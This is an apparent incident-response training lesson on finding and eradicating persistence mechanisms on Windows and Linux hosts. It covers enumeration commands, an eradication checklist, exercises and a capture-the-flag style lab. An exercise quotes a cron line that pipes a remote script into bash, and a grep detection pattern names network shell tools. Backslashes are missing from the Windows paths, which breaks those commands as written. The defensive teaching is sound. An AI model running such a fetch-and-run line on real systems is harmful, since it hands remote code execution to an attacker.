Persistence Hunting & Eradication: Finding Everything the Attacker Left Behind
Theory
Prerequisites
- CIR-K003: Live Response Triage
- CIR-K004: Containment Decision-Making
Why This Lesson Matters
Eradication is not "delete the malware file." A thorough attacker installs 3–5 persistence mechanisms before even starting their real objective — so that if one is discovered, they still have four others. An IR team that removes only what it found during the initial investigation will face a re-compromise within days. This lesson teaches you to think like the attacker: what persistence would I install, and where would I hide it?
1. The Persistence Attacker Mindset
Attackers think in terms of resilience. A single service that gets removed means they lose access. Multiple persistence mechanisms at different privilege levels and in different locations mean they survive most cleanup attempts.
A sophisticated attacker's persistence kit might include: 1. A Windows service (survives reboots, runs as SYSTEM) 2. A scheduled task (blends with legitimate maintenance tasks) 3. A registry Run key (fires on user login) 4. An SSH authorized_key (survives password resets) 5. A cron job under a service account (quiet, low-attention)
Your job is to find all five — not just the one the EDR flagged.
2. Windows Persistence Locations — The Complete Hunt
Think of Windows persistence as having three activation triggers: boot, user login, and scheduled time.
2.1 Boot-Time Persistence (fires before user login)
# Services — the most common mechanism
Get-WmiObject Win32_Service |
Where-Object {$_.PathName -notlike "*System32*" -and $_.PathName -notlike "*Program Files*"} |
Select-Object Name, PathName, StartMode, State
# Flag: service binary in Temp, AppData, UsersPublic
# Registry — services can also be defined here
Get-ItemProperty "HKLM:SYSTEMCurrentControlSetServices*" |
Where-Object {$_.ImagePath -match "Temp|AppData|Public|Users"} |
Select-Object PSChildName, ImagePath
# Boot execute (runs very early, before most drivers)
Get-ItemProperty "HKLM:SYSTEMCurrentControlSetControlSession Manager" -Name BootExecute
# Normal: BootExecute = autocheck autochk *
# Suspicious: anything else listed here
2.2 User Login Persistence
# Registry Run keys — fire when ANY user logs in (HKLM) or specific user (HKCU)
Get-ItemProperty "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
Get-ItemProperty "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun"
Get-ItemProperty "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRunOnce"
# Normal: Antivirus, cloud backup clients, update agents
# Suspicious: random names, binaries in writable user paths
# Startup folders
Get-ChildItem "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup"
Get-ChildItem "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartup"
# Winlogon hijack
Get-ItemProperty "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"
# Normal: Userinit = C:Windowssystem32userinit.exe,
# Suspicious: any additional binary appended with a comma
2.3 Scheduled Tasks
# List all scheduled tasks with their actions
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
ForEach-Object {
$action = $_.Actions | Select-Object -First 1
[PSCustomObject]@{
Name = $_.TaskName
Path = $_.TaskPath
Execute = $action.Execute
Args = $action.Arguments
State = $_.State
}
} | Where-Object {$_.Execute -match "Temp|AppData|Public|Users\[^A]"} |
Sort-Object Name
# Look at task XML for full detail
Export-ScheduledTask -TaskName "WindowsUpdateHelper" | Out-File task_detail.xml
3. Linux Persistence Locations — The Complete Hunt
3.1 Systemd Services
# All running services not from standard package paths
systemctl list-units --type=service --state=running |
while read name _; do
path=$(systemctl show "$name" -p ExecStart --value 2>/dev/null | awk '{print $1}' | tr -d '=')
if [[ "$path" != "" && "$path" != /usr* && "$path" != /bin* && "$path" != /sbin* ]]; then
echo "$name: $path"
fi
done
# Services modified recently
find /etc/systemd/system /lib/systemd/system -mmin -2880 -name "*.service" 2>/dev/null
3.2 Cron Jobs
# Root crontab
crontab -l -u root
# All user crontabs
for u in $(cut -d: -f1 /etc/passwd); do
entry=$(crontab -l -u "$u" 2>/dev/null)
if [ -n "$entry" ]; then echo "=== $u ==="; echo "$entry"; fi
done
# System-wide cron directories
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/crontab
# Atjobs (at/batch — one-time scheduled commands)
ls -la /var/spool/atjobs/ 2>/dev/null || ls -la /var/spool/cron/atjobs/ 2>/dev/null
3.3 SSH Backdoors
# Unauthorised public keys
find /home /root -name "authorized_keys" 2>/dev/null |
while read f; do
echo "=== $f ==="; cat "$f"
done
# Rogue SSH config (allows password auth, root login)
grep -E "PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile" /etc/ssh/sshd_config
# SSH config.d overrides (often overlooked)
find /etc/ssh/sshd_config.d/ -type f -exec cat {} ;
3.4 Other Linux Persistence
# Profile and bashrc backdoors (run on login/shell start)
grep -r "nc|curl|wget|bash -i|python|perl" /etc/profile /etc/profile.d/ /etc/bashrc
/home/*/.bashrc /home/*/.bash_profile /root/.bashrc /root/.bash_profile
# LD_PRELOAD hijack (library loaded into every process)
cat /etc/ld.so.preload 2>/dev/null # should normally be empty or not exist
env | grep LD_PRELOAD
# SUID binaries added by attacker
find / -perm -4000 -newer /tmp/reference_time -type f 2>/dev/null
# (create /tmp/reference_time at the start of the investigation as a timestamp anchor)
4. Eradication: Removing Everything
Eradication must be systematic and complete. Work from a checklist, not from memory.
ERADICATION CHECKLIST — IR-2026-0608-001
Host: WS-042 (Windows)
Analyst: Alice Martin | Date: 2026-06-08 17:00 UTC
[ ] Stop and delete malicious service: WindowsUpdateHelper
sc.exe stop WindowsUpdateHelper
sc.exe delete WindowsUpdateHelper
del "C:UsersPublicDocumentsupdate.exe"
[ ] Remove all scheduled tasks created during compromise window (14:30–15:00)
Get-ScheduledTask | Where-Object {$_.Date -gt "2026-06-08T14:30:00"}
[ ] Remove malicious Run key entries
Remove-ItemProperty "HKCU:...Run" -Name "UpdateAgent"
[ ] Remove web shell (if applicable)
del "C:inetpubwwwrootuploadscmd.aspx"
[ ] Verify no new local accounts
Get-LocalUser | Where-Object {$_.Enabled -eq $true}
[ ] Verify authorized_keys (if SSH present)
Review and remove unauthorised keys
[ ] Hash all removed artefacts (for the report)
sha256sum update.exe > removed_artefacts_hashes.txt
[ ] Confirm nothing malicious remains:
Rerun persistence checks from Section 2 above
→ All clear before declaring eradication complete
5. Validating Eradication
Do not declare eradication complete until you have actively verified it:
# After eradication, re-run your persistence checks
# If anything new appears, the eradication was incomplete
# Run a quick integrity check on critical binaries
rpm -Va 2>/dev/null | grep "^..5" # RHEL: files with changed MD5
debsums -c 2>/dev/null # Debian: files that don't match package hashes
# Windows: run Autoruns (Sysinternals) after eradication
# Compare output to a known-clean baseline
6. Common Mistakes
Mistake 1: Stopping after finding the first persistence mechanism. Finding WindowsUpdateHelper does not mean it is the only one. Run the full checklist every time, no exceptions.
Mistake 2: Deleting before imaging. Always image the system before eradication. Once you delete files, they are gone from the evidence record. Image, then eradicate.
Mistake 3: Forgetting about service dependencies.
A malicious service may register a DLL as a dependency. Removing the service binary without removing the DLL leaves the DLL on disk. Use sc.exe qc ServiceName to see all associated files.
7. Practice Exercises
-
You run
Get-ItemProperty "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"and find:"WindowsUpdate" = "C:UsersobAppDataRoamingwinupd.exe". Is this suspicious? What do you do next? -
A cron job reads:
*/5 * * * * root curl http://185.220.101.5/beacon.sh | bash. Describe what it does, classify its ATT&CK technique, and list the steps to eradicate it. -
After eradication, your EDR fires an alert 6 hours later: the same C2 IP is contacted again. What does this mean? Where did you miss something?
8. Lab
Assessment mode: flag
challenge_spec_id: 206 — Service persistence
You are given a Windows system artefact bundle: registry export, scheduled tasks XML, and service list.
Task: 1. Find the malicious service (binary path in a writable user directory) 2. Find a second persistence mechanism in the scheduled tasks 3. The flag is:
PREFIX{service_binary_name:scheduled_task_name}
9. Framework Alignment
| Framework | Role | Competency | Confidence |
|---|---|---|---|
| CCSSF-CIR | Cyber Incident Responder | Persistence eradication | High |
| CCSSF-DFA | Digital Forensics Analyst | Artefact-based persistence identification | High |
| CCSSF-COA | Cyber Security Operations Analyst | Post-alert persistence investigation | High |
| NICE 2.2.0 | Incident Responder (PR-IRP-001) | K0230 — Eradication of threat actors | High |
10. Further Reading
- Autoruns for Windows (Sysinternals) — The definitive persistence enumeration tool; run on every Windows IR
- MITRE ATT&CK — Persistence Tactic (TA0003) — Full catalogue of 19 techniques
- Oddvar Moe — Windows Persistence — https://github.com/rootm0s/WinPwnage — Reference implementation of attack techniques for defenders to understand
- Linux Persistence Techniques — HackTricks — https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-post-exploitation/linux-persistence
Learning Objectives
["Execute a complete Windows persistence hunt covering services, registry Run keys, scheduled tasks, and Winlogon, and identify a suspicious entry in each category", "Execute a complete Linux persistence hunt covering systemd services, cron jobs, SSH authorized_keys, and bashrc, and identify a suspicious entry in at least two categories", "Produce a complete eradication checklist for a Windows host from a described compromise scenario, including stop/delete commands for each artefact and a post-eradication validation step"]
Lesson Outline
Prerequisites → Why this matters (attacker resilience mindset) → Attacker persistence kit concept → Windows persistence hunt (boot, login, scheduled tasks with PowerShell commands) → Linux persistence hunt (systemd, cron, SSH backdoors, LD_PRELOAD) → Eradication checklist template → Validating eradication → Common mistakes → Practice exercises → Lab (flag, spec 206) → Framework alignment → Further reading
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.